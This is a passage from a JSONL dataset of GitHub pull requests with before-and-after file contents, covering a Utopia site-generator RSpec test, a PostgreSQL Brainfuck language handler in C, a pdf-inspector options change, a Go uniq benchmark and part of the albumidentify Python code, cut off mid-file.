gaccess == '6' || gaccess == '7'\n\tend\n\t\n\tdef install_packages(dir)\n\t\tsystem(\"bundle\", \"config\", \"--local\", \"local.utopia\", utopia_path, chdir: dir)\n\t\tsystem(\"bundle\", \"config\", \"--local\", \"cache_path\", pkg_path, chdir: dir)\n\tend\n\t\n\tit \"should generate sample site\" do\n\t\tDir.mktmpdir('test-site') do |dir|\n\t\t\tinstall_packages(dir)\n\t\t\t\n\t\t\tsystem(utopia, \"--in\", dir, \"site\", \"create\")\n\t\t\t\n\t\t\texpect(Dir.entries(dir)).to include(\".git\", \"gems.rb\", \"gems.locked\", \"README.md\", \"bake.rb\", \"config.ru\", \"lib\", \"pages\", \"public\", \"spec\")\n\t\t\t\n\t\t\texpect(\n\t\t\t\tsystem(\"bundle\", \"exec\", \"bake\", \"utopia:test\", chdir: dir)\n\t\t\t).to be true\n\t\tend\n\tend\n\t\n\tit \"should generate a sample server\" do\n\t\tDir.mktmpdir('test-server') do |dir|\n\t\t\tinstall_packages(dir)\n\t\t\t\n\t\t\tresult = sh_status(utopia, \"--in\", dir, \"server\", \"create\")\n\t\t\texpect(result).to be == 0\n\t\t\t\n\t\t\texpect(Dir.entries(dir)).to include(\".git\")\n\t\t\t\n\t\t\t# make sure git is set up properly\n\t\t\tDir.chdir(dir) do\n\t\t\t\texpect(git_config 'core.sharedRepository').to be == '1'\n\t\t\t\texpect(git_config 'receive.denyCurrentBranch').to be == 'ignore'\n\t\t\t\texpect(git_config 'core.worktree').to be == dir\n\t\t\tend\n\t\t\t\n\t\t\tenvironment = YAML.load_file(File.join(dir, 'config/environment.yaml'))\n\t\t\texpect(environment).to include('VARIANT', 'UTOPIA_SESSION_SECRET')\n\t\tend\n\tend\n\t\n\tit \"should not trash the sample server during update\" do\n\t\tDir.mktmpdir('test-server') do |dir|\n\t\t\tinstall_packages(dir)\n\t\t\t\n\t\t\tresult = sh_status(utopia, \"--in\", dir, \"server\", \"create\")\n\t\t\texpect(result).to be == 0\n\t\t\t\n\t\t\tDir.chdir(dir) do\n\t\t\t\t# make the repository look a bit like like it's an old one\n\t\t\t\tgit_config 'core.sharedRepository', 'false'\n\t\t\t\tsh_status 'chmod', '-Rf', 'g-x', '.git'\n\t\t\t\tsh_status 'rm', '-f', '.git/hooks/post-receive'\n\t\t\tend\n\t\t\t\n\t\t\tresult = sh_status(utopia, \"--in\", dir, \"server\", \"update\")\n\t\t\texpect(result).to be == 0\n\t\t\t\n\t\t\t# check a couple of files to make sure they have group read and write access\n\t\t\t# after the update\n\t\t\tDir.glob(File.join(dir, '.git/**/*')).each do |path|\n\t\t\t\texpect(group_rw path).to be == true\n\t\t\tend\n\t\tend\n\tend\n\t\n\tit \"can generate sample site, server and push to the server\" do\n\t\t# This assumes your default branch is \"main\". We should probably be more flexible around this.\n\t\t# git config --global init.defaultBranch main\n\t\tDir.mktmpdir('test') do |dir|\n\t\t\tsite_path = File.join(dir, 'site')\n\t\t\t\n\t\t\tinstall_packages(site_path)\n\t\t\t\n\t\t\tserver_path = File.join(dir, 'server')\n\t\t\t\n\t\t\tresult = sh_status(utopia, \"--in\", site_path, \"site\", \"create\")\n\t\t\texpect(result).to be == 0\n\t\t\t\n\t\t\tresult = sh_status(utopia, \"--in\", server_path, \"server\", \"create\")\n\t\t\texpect(result).to be == 0\n\t\t\t\n\t\t\tDir.chdir(site_path) do\n\t\t\t\tresult = sh_status(\"git\", \"push\", \"--set-upstream\", server_path, \"main\")\n\t\t\t\texpect(result).to be == 0\n\t\t\tend\n\t\t\t\n\t\t\tfiles = %W[.git gems.rb gems.locked README.md bake.rb config.ru lib pages public]\n\t\t\t\n\t\t\texpect(Dir.entries(server_path)).to include(*files)\n\t\t\t\n\t\t\texpect(File.executable? File.join(server_path, 'config.ru')).to be == true\n\t\t\t\n\t\t\tputs File.stat(File.join(dir, 'server', '.git')).mode\n\t\tend\n\tend\nend\n"}}
{"repo": "mikejs/pl-bf", "pr_number": 1, "title": "Extension", "state": "open", "merged_at": null, "additions": 29, "deletions": 8, "files_changed": ["plbf--0.1.sql", "plbf.c"], "files_before": {}, "files_after": {"plbf--0.1.sql": "CREATE FUNCTION plbf_call_handler() RETURNS language_handler AS '$libdir/plbf.so' LANGUAGE C;\n\nCREATE LANGUAGE plbf HANDLER plbf_call_handler;\n", "plbf.c": "#include <stdio.h>\n#include \"postgres.h\"\n#include \"executor/spi.h\"\n#include \"commands/trigger.h\"\n#include \"fmgr.h\"\n#include \"access/heapam.h\"\n#include \"utils/syscache.h\"\n#include \"catalog/pg_proc.h\"\n#include \"catalog/pg_type.h\"\n#include \"utils/lsyscache.h\"\n#include \"utils/memutils.h\"\n#include \"utils/builtins.h\"\n\nPG_MODULE_MAGIC;\n\nPG_FUNCTION_INFO_V1(plbf_call_handler);\n\nint interpret(char*, int, char*);\n\nsize_t append_datum(char* buf, Datum val, bool isnull, Oid typeoid)\n{\n    HeapTuple typeTup;\n    Form_pg_type typeStruct;\n    FmgrInfo tmp_flinfo;\n    char *str;\n    size_t len;\n\n    typeTup = SearchSysCache(TYPEOID, ObjectIdGetDatum(typeoid), 0, 0, 0);\n    if (!HeapTupleIsValid(typeTup)) {\n        elog(ERROR, \"Cache lookup failed for %u\", typeoid);\n    }\n    typeStruct = (Form_pg_type)GETSTRUCT(typeTup);\n\n    if (typeStruct->typtype != 'b') {\n        // Non-basic type\n        elog(ERROR, \"Don't support non-basic types (%s)\",\n             format_type_be(typeoid));\n    }\n\n    fmgr_info_cxt(typeStruct->typoutput, &tmp_flinfo, CurTransactionContext);\n\n    ReleaseSysCache(typeTup);\n    \n    if (!isnull) {\n        if (typeoid == INT4OID) {\n            *((int*)buf) = DatumGetInt32(val);\n            return 4;\n        }\n        \n        SPI_push();\n        str = OutputFunctionCall(&tmp_flinfo, val);\n        SPI_pop();\n        len = strlen(str);\n        strncpy(buf, str, len);\n        return len;\n    }\n\n    return 0;\n}\n\nDatum plbf_call_handler(PG_FUNCTION_ARGS)\n{\n    FmgrInfo flinfo;\n    Datum retval, proc_source_datum;\n    Form_pg_proc procStruct;\n    Form_pg_type typeStruct;\n    HeapTuple procTup;\n    HeapTuple typeTup;\n    bool isnull;\n    Oid resultTypeIOParam, returnTypeOID;\n    char *proc_source;\n    char *a, *p;\n    int i;\n\n    // Get the function tuple\n    procTup = SearchSysCache(PROCOID, ObjectIdGetDatum(fcinfo->flinfo->fn_oid),\n                             0, 0, 0);\n    if (!HeapTupleIsValid(procTup)) {\n        elog(ERROR, \"Cache lookup failed for procedure %u\",\n             fcinfo->flinfo->fn_oid);\n    }\n    procStruct = (Form_pg_proc)GETSTRUCT(procTup);\n    \n    // Get the function source\n    proc_source_datum = SysCacheGetAttr(PROCOID, procTup,\n                                        Anum_pg_proc_prosrc, &isnull);\n    if (isnull) {\n        elog(ERROR, \"Function source is null\");\n    }\n    proc_source = DatumGetCString(DirectFunctionCall1(textout,\n                                                      proc_source_datum));\n\n    // Get the return type tuple\n    typeTup = SearchSysCache(TYPEOID, ObjectIdGetDatum(procStruct->prorettype),\n                             0, 0, 0);\n    if (!HeapTupleIsValid(typeTup)) {\n        elog(ERROR, \"Cache lookup failed for type %u\", procStruct->prorettype);\n    }\n    typeStruct = (Form_pg_type)GETSTRUCT(typeTup);\n    \n    resultTypeIOParam = getTypeIOParam(typeTup);\n    returnTypeOID = procStruct -> prorettype;\n\n    a = calloc(5000, 1);\n    if (!a) {\n        elog(ERROR, \"BAD A!\");\n    }\n\n    p = a;\n    for (i = 0; i < procStruct->pronargs; i++) {\n        p += append_datum(p, fcinfo->arg[i], fcinfo->argnull[i],\n                          procStruct->proargtypes.values[i]);\n    }\n    \n    interpret(a, 0, proc_source);\n\n    fmgr_info_cxt(typeStruct->typinput, &flinfo, TopMemoryContext);\n\n    if (returnTypeOID != VOIDOID) {\n        if (returnTypeOID == INT4OID) {\n            retval = Int32GetDatum(*((int*)a));\n        } else {\n            SPI_push();\n            if (returnTypeOID == BOOLOID)\n                retval = InputFunctionCall(&flinfo, a[0] ? \"TRUE\" : \"FALSE\",\n                                           resultTypeIOParam, -1);\n            else {\n                retval = InputFunctionCall(&flinfo, pstrdup(a),\n                                           resultTypeIOParam, -1);\n            }\n            SPI_pop();\n        }\n    }\n\n    ReleaseSysCache(procTup);\n    ReleaseSysCache(typeTup);\n    free(a);\n\n    SPI_finish();\n    \n    return retval;\n}\n\nint interpret(char *a, int p, char *c)\n{\n    char *d;\n    char b, o;\n\n    while(*c) {\n        switch(o=1,*c++) {\n        case '<': p--;        break;\n        case '>': p++;        break;\n        case '+': a[p]++;     break;\n        case '-': a[p]--;     break;\n        case '.': putchar(a[p]); fflush(stdout); break;\n        case ',': a[p]=getchar();fflush(stdout); break;\n        case '[':\n            for( b=1,d=c; b && *c; c++ )\n                b+=*c=='[', b-=*c==']';\n            if(!b) {\n                c[-1]=0;\n                while( a[p] )\n                    p = interpret(a, p, d);\n                c[-1]=']';\n                break;\n            }\n        case ']':\n            puts(\"UNBALANCED BRACKETS\"), exit(0);\n        default: o=0;\n        }\n        if( p<0 || p>100)\n            puts(\"RANGE ERROR\"), exit(0);\n    }\n    return p;\n}\n"}}
{"repo": "prawnpdf/pdf-inspector", "pr_number": 27, "title": "Add reader_opts (currently only useful for password-protected files) to PDF::Reader.open call", "state": "open", "merged_at": null, "additions": 2, "deletions": 2, "files_changed": ["lib/pdf/inspector.rb"], "files_before": {"lib/pdf/inspector.rb": "require 'rubygems'\nrequire 'pdf/reader'\nrequire 'pdf/inspector/text'\nrequire 'pdf/inspector/xobject'\nrequire 'pdf/inspector/extgstate'\nrequire 'pdf/inspector/graphics'\nrequire 'pdf/inspector/page'\nrequire 'stringio'\n\nmodule PDF\n  class Inspector\n    def self.analyze(output, *args, &block)\n      if output.is_a?(String)\n        output = StringIO.new(output)\n      end\n      obs = new(*args, &block)\n      PDF::Reader.open(output) do |reader|\n        reader.pages.each do |page|\n          page.walk(obs)\n        end\n      end\n      obs\n    end\n\n    def self.analyze_file(filename, *args, &block)\n      File.open(filename, 'rb') do |io|\n        analyze(io, *args, &block)\n      end\n    end\n\n    def self.parse(obj)\n      PDF::Reader::Parser.new(\n        PDF::Reader::Buffer.new(StringIO.new(obj)),\n        nil\n      ).parse_token\n    end\n  end\nend\n"}, "files_after": {"lib/pdf/inspector.rb": "require 'rubygems'\nrequire 'pdf/reader'\nrequire 'pdf/inspector/text'\nrequire 'pdf/inspector/xobject'\nrequire 'pdf/inspector/extgstate'\nrequire 'pdf/inspector/graphics'\nrequire 'pdf/inspector/page'\nrequire 'stringio'\n\nmodule PDF\n  class Inspector\n    def self.analyze(output, *args, **reader_opts, &block)\n      if output.is_a?(String)\n        output = StringIO.new(output)\n      end\n      obs = new(*args, &block)\n      PDF::Reader.open(output, reader_opts || {}) do |reader|\n        reader.pages.each do |page|\n          page.walk(obs)\n        end\n      end\n      obs\n    end\n\n    def self.analyze_file(filename, *args, &block)\n      File.open(filename, 'rb') do |io|\n        analyze(io, *args, &block)\n      end\n    end\n\n    def self.parse(obj)\n      PDF::Reader::Parser.new(\n        PDF::Reader::Buffer.new(StringIO.new(obj)),\n        nil\n      ).parse_token\n    end\n  end\nend\n"}}
{"repo": "nf/uniq", "pr_number": 1, "title": "Updated benchmark results for uniq with Go 1.3", "state": "closed", "merged_at": null, "additions": 59, "deletions": 47, "files_changed": ["uniq.go", "uniq_test.go"], "files_before": {"uniq.go": "package uniq\n\nimport (\n    \"sync\"\n)\n\nvar (\n    uniqLock sync.Mutex\n    uniqId int\n)\n\nfunc uniqFn() int {\n    uniqLock.Lock()\n    defer uniqLock.Unlock()\n    uniqId++\n    return uniqId\n}\n\nvar uniq = make(chan int)\n\nfunc init() {\n    go func() {\n            for i := 1;; i++ { uniq <- i }\n    }()\n}\n\n", "uniq_test.go": "package uniq\n\nimport (\n    \"testing\"\n)\n\nfunc BenchmarkMutex(b *testing.B) {\n    for i := 0; i < b.N; i++ {\n        uniqFn()\n    }\n}\n\nfunc BenchmarkChannel(b *testing.B) {\n    for i := 0; i < b.N; i++ {\n        <-uniq\n    }\n}\n\nfunc TestFoo(t *testing.T) { }\n"}, "files_after": {"uniq.go": "package uniq\n\nimport (\n\t\"sync\"\n)\n\nvar (\n\tuniqLock sync.Mutex\n\tuniqId   int\n)\n\nfunc uniqFn() int {\n\tuniqLock.Lock()\n\tdefer uniqLock.Unlock()\n\tuniqId++\n\treturn uniqId\n}\n\nvar uniq = make(chan int)\n\nfunc init() {\n\tgo func() {\n\t\tfor i := 1; ; i++ {\n\t\t\tuniq <- i\n\t\t}\n\t}()\n}\n", "uniq_test.go": "package uniq\n\nimport (\n\t\"testing\"\n)\n\nfunc BenchmarkMutex(b *testing.B) {\n\tfor i := 0; i < b.N; i++ {\n\t\tuniqFn()\n\t}\n}\n\nfunc BenchmarkChannel(b *testing.B) {\n\tfor i := 0; i < b.N; i++ {\n\t\t<-uniq\n\t}\n}\n\nfunc TestFoo(t *testing.T) {}\n"}}
{"repo": "albumidentify/albumidentify", "pr_number": 95, "title": "Try and be more polite with webservices", "state": "closed", "merged_at": "2011-12-31T02:00:10Z", "additions": 24, "deletions": 10, "files_changed": ["src/renamealbum/albumidentify.py", "src/renamealbum/lookups.py", "src/renamealbum/musicdns.py", "src/renamealbum/musicfile.py"], "files_before": {"src/renamealbum/albumidentify.py": "#!/usr/bin/python\nimport os\nimport lookups\nimport musicbrainz2\nimport musicbrainz2.utils\nimport itertools\nimport random\nimport sort\nimport util\nimport musicfile\nimport time\nimport albumidentifyconfig\n\n# Strategys\nimport strat_transitive\nimport strat_metadata\nimport strat_trackname\nimport strat_musicbrainzid\n\n# If set to True, this will force tracks to be found in order\n# if set to False, tracks can be found in any order (has false positives)\nFORCE_ORDER=True\n#FORCE_ORDER=False\n\n# trackind's are 0 based\n# tracknum's are 1 based\n\ndef duration_to_string(duration):\n\tduration = duration / 1000.0 # ms -> s\n\tif duration > 60:\n\t\treturn \"%02d:%05.2f\" % (duration/60,duration%60)\n\treturn \"%05.2f\" % (duration)\n\ndef score_track(albumfreq,track):\n\t\"\"\"\"Returns the total number of albums this release is on that other\ntracks are on\"\"\"\n\treturn reduce(lambda a,b:a+b, \n\t\t[albumfreq[release.id] for release in track.releases])\n\ndef cmp_track(freq, tracka, trackb):\n\treturn cmp(score_track(freq, tracka), score_track(freq, trackb))\n\ndef get_dir_info(dirname):\n\tfiles=sort.sorted_dir(dirname)\n\ttrackinfo={}\n\tlastpuid=None\n\tlastfile=None\n\talbumfreq={}\n\tutil.update_verbose_progress(\"Examining %s\"%dirname)\n\tfor i in files:\n\t\tutil.update_verbose_progress(\" %s\" % (i))\n\t\tfname=os.path.join(dirname,i)\n\t\ttrackinfo[fname]=musicfile.MusicFile(fname)\n\t\t# If this is a duplicate of the previous track, ignore it.\n\t\t# Dedupe by PUID\n\t\tif lastpuid is not None and trackinfo[fname].getPUID() == lastpuid:\n\t\t\tutil.update_verbose_progress(\"WARNING: Duplicate track ignored\",repr(trackinfo[fname].getFilename()),\"and\",repr(trackinfo[lastfile].getFilename()))\n\t\t\tdel trackinfo[fname]\n\t\t\tcontinue\n\t\tlastpuid = trackinfo[fname].getFilename()\n\t\tlastfile = fname\n\t\tfor mbtrack in trackinfo[fname].getTracks():\n\t\t\tfor release in mbtrack.releases:\n\t\t\t\talbumfreq[release.id]=albumfreq.get(release.id,0)+1\n\t# Sort by the most likely album first.\n\tfor fileid in trackinfo:\n\t\ttrackinfo[fileid].getTracks().sort(\n\t\t\tlambda b,a:cmp_track(albumfreq,a,b))\n\treturn trackinfo\n\n# We need to choose a track to expand out.\n# We want to choose a track that's more likely to give us a result.  For\n# For example, if we have a track that appears in several nearly complete\n# albums, we probably don't need to expand it that frequently (but we still\n# should occasionally to prevent exploring deadends).\ndef choose_track(possible_releases, track_generator, trackinfo):\n\ttrack_prob={}\n\tfor fileid in trackinfo:\n\t\tif fileid not in track_generator:\n\t\t\tcontinue\n\t\t# use the number of trackid's found as a hint, so we avoid\n\t\t# exhausting a track too soon.\n\t\ttrack_prob[fileid]=1+len(trackinfo[fileid].getTracks())\n\t\tfor release in possible_releases:\n\t\t\tif fileid not in possible_releases[release].values():\n\t\t\t\ttrack_prob[fileid]+=len(possible_releases[release])**2\n\ttotal = reduce(lambda a,b:a+b,track_prob.values())\n\tr=random.random()*total\n\ttot=0\n\tfor fileid in track_prob:\n\t\tif fileid not in track_generator:\n\t\t\tcontinue\n\t\ttot+=track_prob[fileid]\n\t\tif tot>=r:\n\t\t\treturn fileid\n\treturn fileid\n\ndef giving_up(removed_releases,fileid):\n\tif not removed_releases:\n\t\tutil.report(\"No possible releases left\")\n\t\treturn\n\tutil.report(\"Possible releases:\")\n\tfor releaseid in removed_releases:\n\t\t# If this release only has one track that we found,\n\t\t# and we have other possible releases, ignore this one.\n\t\t#\n\t\t# TODO: Actually, we should just display the top 2\n\t\t#  releases, by number of tracks found on it.\n\t\tif len(removed_releases[releaseid])<2 \\\n\t\t\tand len(removed_releases)>1:\n\t\t\t\tcontinue\n\t\trelease = lookups.get_release_by_releaseid(releaseid)\n\t\tutil.report(\"%s - %s (%s.html)\" % (\n\t\t\trelease.artist.name,\n\t\t\trelease.title,\n\t\t\treleaseid))\n\t\tfor trackind in range(len(release.tracks)):\n\t\t\tif (trackind+1) in removed_releases[releaseid]:\n\t\t\t\tcontinue\n\t\t\tutil.report(\" #%02d %s.html %s\" % (\n\t\t\t\ttrackind+1,\n\t\t\t\trelease.tracks[trackind].id,\n\t\t\t\trelease.tracks[trackind].title))\n\t\tutil.report(\" %s\" % (\n\t\t\tutil.output_list(removed_releases[releaseid].keys())\n\t\t\t))\n\ndef end_of_track(possible_releases,impossible_releases,track_generator,trackinfo,fileid):\n\t# If there are no more tracks for this\n\t# skip it and try more.\n\tdel track_generator[fileid]\n\tutil.report(\"All possibilities for file %s exhausted\" % fileid)\n\tutil.report(\"filename: %s\" % trackinfo[fileid].getFilename())\n\tutil.report(\"Metadata Title: %s\" % (trackinfo[fileid].getMDTrackTitle()))\n\tutil.report(\"puid: %s\" % trackinfo[fileid].getPUID())\n\tremoved_releases={}\n\tutil.report(\"Current possible releases:\")\n\tfor i in possible_releases.keys():\n\t\t# Ignore any release that doesn't have this\n\t\t# track, since we can no longer find it.\n\t\tif fileid not in possible_releases[i].values():\n\t\t\tremoved_releases[i]=possible_releases[i]\n\t\t\tdel possible_releases[i]\n\t\t\timpossible_releases.append(i)\n\tif possible_releases=={}:\n\t\tgiving_up(removed_releases, fileid)\n\t\treturn\n\tfor i in possible_releases:\n\t\tutil.report(\" %s (tracks found: %s)\" % (lookups.get_release_by_releaseid(i).title,util.output_list(possible_releases[i].keys())))\n\ndef get_puids_for_release(releaseid):\n\tpuids=[]\n\trelease = lookups.get_release_by_releaseid(releaseid)\n\tfor track in release.tracks:\n\t\ttrack = lookups.get_track_by_id(track.id)\n\t\tpuids = puids + track.puids\n\treturn puids\n\ndef verify_track(release, possible_releases, impossible_releases, \n\t\t\ttrackinfo, fileid, track):\n\t# Step One: Has this file already been found on this release?\n\treleaseid = release.id\n\tif releaseid in possible_releases and fileid in possible_releases[releaseid].values():\n\t\tutil.update_progress(\"Already found on this release:\" + fileid )\n\t\treturn False\n\t# Step Two: Check for the right number of tracks\n\tif len(release.tracks) != len(trackinfo):\n\t\t# Ignore release -- wrong number of tracks\n\t\tutil.update_progress(release.title.encode(\"ascii\",\"ignore\")[:40]+\": wrong number of tracks (%d not %d)\" % (len(release.tracks),len(trackinfo)))\n\t\timpossible_releases.append(releaseid)\n\t\treturn False\n\n\t# Step Three: Have we found a file for this track on this release?\n\ttracknum = lookups.track_number(release.tracks, track)\n\tif releaseid in possible_releases and tracknum in possible_releases[releaseid]:\n\t\tutil.update_progress(\"Already found a file for track %02d: %s\" % (tracknum,possible_releases[releaseid][tracknum]))\n\t\treturn False\n\n\t# Step Four: (optionally) Check that track 'n' maps to file 'n'.\n\tif FORCE_ORDER:\n\t\tfound_tracknumber=lookups.track_number(release.tracks, track)\n\t\tfile_ids = trackinfo.keys()\n\t\tfile_ids = sort.sorted_list(file_ids)\n\t\tif found_tracknumber != file_ids.index(fileid)+1:\n\t\t\tutil.update_progress(release.title[:40]+\": track at wrong position\")\n\t\t\treturn False\n\n\t# Step Five: Make sure if there is another mapping on this album\n\t# that we don't accept this one.\n \tif trackinfo[fileid].getPUID() in get_puids_for_release(releaseid):\n\t\tif trackinfo[fileid].getPUID() not in lookups.get_track_by_id(track.id).puids:\n\t\t\tprint \"Track exists elsewhere on this release\"\n\t\t\tprint \"\",fileid\n\t\t\tprint \"\",track.title\n\t\t\t\n\t\t\tfor ntrackind,ntrack in enumerate(release.tracks):\n\t\t\t\tntrack = lookups.get_track_by_id(ntrack.id)\n\t\t\t\tif trackinfo[fileid].getPUID() in ntrack.puids:\n\t\t\t\t\tprint \" should be:\",ntrack.title\n\t\t\t\t\t\n\t\t\treturn False\n\n\t# Step Six: Make sure the song is within 10% of the length of the \n\t# track we expect it to be.\n\ttrack = lookups.get_track_by_id(track.id)\n\tif track.getDuration() is not None:\n\t\tdur_ratio = track.getDuration() * 1.0 / trackinfo[fileid].getDuration()\n\t\tif dur_ratio < .9 or dur_ratio > 1.1:\n\t\t\tprint \"Track lengths differ\"\n\t\t\tprint \" (%s) %s\" % (\n\t\t\t\tduration_to_string(trackinfo[fileid].getDuration()),\n\t\t\t\ttrackinfo[fileid].getFilename(),\n\t\t\t\t)\n\t\t\tprint \" (%s) %s\" % (\n\t\t\t\tduration_to_string(track.getDuration()),\n\t\t\t\ttrack.title,\n\t\t\t\t)\n\t\t\treturn False\n\n\t# Well, after passing through that gauntlet, we might consider this track!\n\treturn True\n\ndef add_new_track(release, possible_releases, fileid, track, trackinfo, impossible_releases):\n\treleaseid = release.id\n\tfound_tracknumber=lookups.track_number(release.tracks, track)\n\tif releaseid in possible_releases:\n\t\tassert found_tracknumber not in possible_releases[releaseid]\n\t\tassert fileid not in possible_releases[releaseid].values(),(fileid,possible_releases[releaseid])\n\t\tpossible_releases[releaseid][found_tracknumber]=fileid\n\t\tprint \"Found track\",found_tracknumber,\"(\",release.tracks[found_tracknumber-1].title,\")\",\"of\",release.title,\":\",os.path.basename(fileid),\"(tracks found: %s)\\x1b[K\" % (util.output_list(possible_releases[releaseid].keys()))\n\t\treturn\n\telse:\n\t\tpossible_releases[releaseid]={found_tracknumber:fileid}\n\t\tutil.update_progress(\"Considering new %s - %s (found track %d)\" % (\n\t\t\trelease.artist.name,\n\t\t\trelease.title,\n\t\t\tfound_tracknumber))\n\n\t# Right, lets see if we can find some other tracks quick smart\n\tfor trackind in range(len(release.tracks)):\n\t\t# Don't waste time on things we've already found\n\t\tif (trackind+1) in possible_releases[releaseid]:\n\t\t\tcontinue\n\t\ttrack = lookups.get_track_by_id(release.tracks[trackind].id)\n\t\tfor fileid in trackinfo:\n\t\t\tif fileid in possible_releases[releaseid].values():\n\t\t\t\tcontinue\n\t\t\tif trackinfo[fileid].getPUID() in track.puids:\n\t\t\t\t# yay, found one.\n\t\t\t\tif verify_track(release,\n\t\t\t\t\t\tpossible_releases,\n\t\t\t\t\t\timpossible_releases,\n\t\t\t\t\t\ttrackinfo,\n\t\t\t\t\t\tfileid,\n\t\t\t\t\t\ttrack):\n\t\t\t\t\tpossible_releases[releaseid][trackind+1]=fileid\n\t\t\t\t\tutil.update_progress(\" Also found track %02d: %s\" % (trackind+1,release.tracks[trackind].title))\n\t\t\t\t\tbreak\n\tprint \" Found tracks: %s\" % (\n\t\tutil.output_list(possible_releases[releaseid].keys())),\n\tif util.list_difference(range(1,len(release.tracks)+1),\n\t\t\tpossible_releases[releaseid].keys()):\n\t\tprint \" Missing tracks: %s\"% (\n\t\t\tutil.output_list(\n\t\t\t\tutil.list_difference(range(1,len(release.tracks)+1),\n\t\t\t\tpossible_releases[releaseid].keys())))\n\telse:\n\t\tprint\n\ndef guess_album2(trackinfo):\n\t# trackinfo is\n\t#  <fname> => <musicfile.MusicFile>\n\t#\n\t# returns a list of possible release id's\n\t#\n\t# This version works by trying a breadth first search of releases to try\n\t# and avoid wasting a lot of time finding releases which are going to\n\t# be ignored.\n\t#\n\t# This function returns a list of release id's\n\tpossible_releases={}\n\timpossible_releases=[]\n\ttrack_generator={}\n\tcompleted_releases=[]\n\n\tstart_time = time.time()\n\n\tif trackinfo=={}:\n\t\tprint \"No tracks to identify?\"\n\t\treturn\n\n\tfor (fileid,file) in trackinfo.iteritems():\n\t\ttrack_generator[fileid]=itertools.chain(\n\t\t\tfile.getTracks(),\n\t\t\tstrat_musicbrainzid.generate_from_metadata(file),\n\t\t\tstrat_transitive.generate_track_puid_possibilities(\n\t\t\t\tfile.getTracks()),\n\t\t\tstrat_metadata.generate_from_metadata(\n\t\t\t\tfile,\n\t\t\t\tlen(trackinfo)),\n\t\t\tstrat_trackname.generate_track_name_possibilities(\t\n\t\t\t\t\tfile,\n\t\t\t\t\tfileid,\n\t\t\t\t\tpossible_releases)\n\t\t\t)\n\n\twhile track_generator!={}:\n\t\ttimelimit = albumidentifyconfig.config.getint(\"albumidentify\",\"timelimit\")\n\t\tif  timelimit > 0 and time.time() - start_time > timelimit:\n\t\t\tprint \"TIMEOUT EXCEEDED, GIVING UP\"\n\t\t\tbreak\n\t\tfileid = choose_track(\n\t\t\t\tpossible_releases,\n\t\t\t\t track_generator,\n\t\t\t\t trackinfo)\n\t\ttry:\n\t\t\ttrack = track_generator[fileid].next()\n\t\texcept StopIteration:\n\t\t\tend_of_track(\n\t\t\t\tpossible_releases,\n\t\t\t\timpossible_releases,\n\t\t\t\ttrack_generator,\n\t\t\t\ttrackinfo,\n\t\t\t\tfileid)\n\t\t\t# If we have no more possible releases for the track\n\t\t\t# we're giving up on, we can't # get any more.\n\t\t\t# So give up now.\n\t\t\tif possible_releases == {}:\n\t\t\t\treturn\n\t\t\tcontinue\n\n\t\tfor releaseid in (x.id for x in track.releases):\n\n\t\t\t# Skip releases we've already seen before.\n\t\t\tif releaseid in impossible_releases:\n\t\t\t\tcontinue\n\n\t\t\tutil.update_progress(\"Considering %s\" % (\n\t\t\t\tmusicbrainz2.utils.extractUuid(releaseid)))\n\t\t\ttry:\n\t\t\t\trelease = lookups.get_release_by_releaseid(releaseid)\n\t\t\texcept Exception,e:\n\t\t\t\tutil.report(\"WARNING: Unexpected exception looking for \"+musicbrainz2.utils.extractUuid(releaseid)+\": \"+str(e))\n\t\t\t\tcontinue\n\n\t\t\t# Is the track usable?\n\t\t\tif not verify_track(release, \n\t\t\t\t\tpossible_releases,\n\t\t\t\t\timpossible_releases,\n\t\t\t\t\ttrackinfo,\n\t\t\t\t\tfileid,\n\t\t\t\t\ttrack):\n\t\t\t\tcontinue\n\n\t\t\tadd_new_track(release, \n\t\t\t\t\tpossible_releases, \n\t\t\t\t\tfileid, \n\t\t\t\t\ttrack, \n\t\t\t\t\ttrackinfo, \n\t\t\t\t\timpossible_releases)\n\n\t\t\tif len(possible_releases[releaseid])==len(trackinfo) \\\n\t\t\t\t\tand releaseid not in completed_releases:\n\t\t\t\tprint release.title,\"seems ok\\x1b[K\"\n\t\t\t\tprint \"Musicbrainz Release Id: %s.html\" % release.id\n\t\t\t\tyield releaseid, possible_releases[releaseid]\n\t\t\t\tcompleted_releases.append(releaseid)\n\t\t\t\ndef guess_album(trackinfo):\n\tfor rid,trackmap in guess_album2(trackinfo):\n\t\trelease = lookups.get_release_by_releaseid(rid)\n\t\talbumartist=release.artist\n\t\tif musicbrainz2.model.Release.TYPE_SOUNDTRACK in release.types:\n\t\t\tdirectoryname = \"Soundtrack\"\n\t\telse:\n\t\t\tdirectoryname = albumartist.name\n\t\treleaseevents=release.getReleaseEvents()\n\t\ttracks=release.getTracks()\n\t\ttrackdata=[]\n\t\tfor tracknum,fileid in trackmap.items():\n\t\t\ttrk=tracks[tracknum-1]\n\t\t\tmusicfile = trackinfo[fileid]\n\t\t\tif trk.artist is None:\n\t\t\t\tartist=albumartist.name\n\t\t\t\tsortartist=albumartist.sortName\n\t\t\t\tartistid=albumartist.id\n\t\t\telse:\n\t\t\t\tartist=trk.artist.name\n\t\t\t\tsortartist=trk.artist.sortName\n\t\t\t\tartistid=trk.artist.id\n\t\t\ttrackdata.append((\n\t\t\t\t\ttracknum,\t\t\t\n\t\t\t\t\tartist,\n\t\t\t\t\tsortartist,\n\t\t\t\t\ttrk.title,\n\t\t\t\t\tmusicfile.getDuration(),\n\t\t\t\t\tmusicfile.getFilename(),\n\t\t\t\t\tartistid,\n\t\t\t\t\ttrk.id))\n\n\t\tasin = lookups.get_asin_from_release(release)\n\t\talbuminfo = (\n\t\t\tdirectoryname,\n\t\t\trelease.title,\n\t\t\trid+\".html\",\n\t\t\t[x.date for x in releaseevents],\n\t\t\tasin,\n\t\t\ttrackdata,\n\t\t\talbumartist,\n\t\t\trelease.id,\n\t\t)\n\t\tyield albuminfo\n\ndef tracks_in_order(trackdata):\n\tfids = [x[5] for x in trackdata]\n\tfids = sort.sorted_list(fids)\n\tfor (tracknum,artist,sortartist,title,dur,fname,artistid,trkid),fid in zip(trackdata,fids):\n\t\tif fname != fid:\n\t\t\treturn False\n\treturn True\n\n\ndef guess_best_album(trackinfo):\n\tcount = 0\n\tpossibilities={}\n\tfor (directoryname, \n\t\t\ttitle,\n\t\t\trid, \n\t\t\trevents, \n\t\t\tasin, \n\t\t\ttrackdata, \n\t\t\talbumartist, \n\t\t\treleaseid) in guess_album(trackinfo):\n\t\tcount+=1\n\t\tpossibilities[releaseid]=title\n\t\tif tracks_in_order(trackdata):\n\t\t\tyield (directoryname, \n\t\t\t\ttitle, \n\t\t\t\trid,\n\t\t\t\trevents, \n\t\t\t\tasin, 